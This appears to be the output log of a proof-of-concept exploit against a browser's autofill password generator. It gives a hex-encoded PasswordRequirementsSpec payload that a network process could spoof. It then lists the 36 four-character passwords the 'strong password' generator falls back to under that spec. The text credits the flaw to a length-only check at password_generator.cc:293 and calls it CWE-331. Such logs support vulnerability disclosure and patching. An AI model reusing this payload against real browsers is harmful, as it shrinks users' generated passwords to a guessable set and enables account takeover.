[POC] wire-format PasswordRequirementsSpec (25 bytes): 08ffffffff0f1001280432030a01613a030a01414a030a0131

[POC] autofill::GeneratePassword() under network-spoofed spec produced 36 distinct values across 100000 trials:
[POC]   11Aa
[POC]   11aA
[POC]   1A1a
[POC]   1AAa
[POC]   1Aa1
[POC]   1AaA
[POC]   1Aaa
[POC]   1a1A
[POC]   1aA1
[POC]   1aAA
[POC]   1aAa
[POC]   1aaA
[POC]   A11a
[POC]   A1Aa
[POC]   A1a1
[POC]   A1aA
[POC]   A1aa
[POC]   AA1a
[POC]   AAa1
[POC]   Aa11
[POC]   Aa1A
[POC]   Aa1a
[POC]   AaA1
[POC]   Aaa1
[POC]   a11A
[POC]   a1A1
[POC]   a1AA
[POC]   a1Aa
[POC]   a1aA
[POC]   aA11
[POC]   aA1A
[POC]   aA1a
[POC]   aAA1
[POC]   aAa1
[POC]   aa1A
[POC]   aaA1

[POC] VULNERABILITY CONFIRMED (CWE-331): the browser-process 'strong password' generator collapses to 36 attacker-known candidates under a PasswordRequirementsSpec controllable by the network process. The size()<4 floor at password_generator.cc:293 checks length but not alphabet size.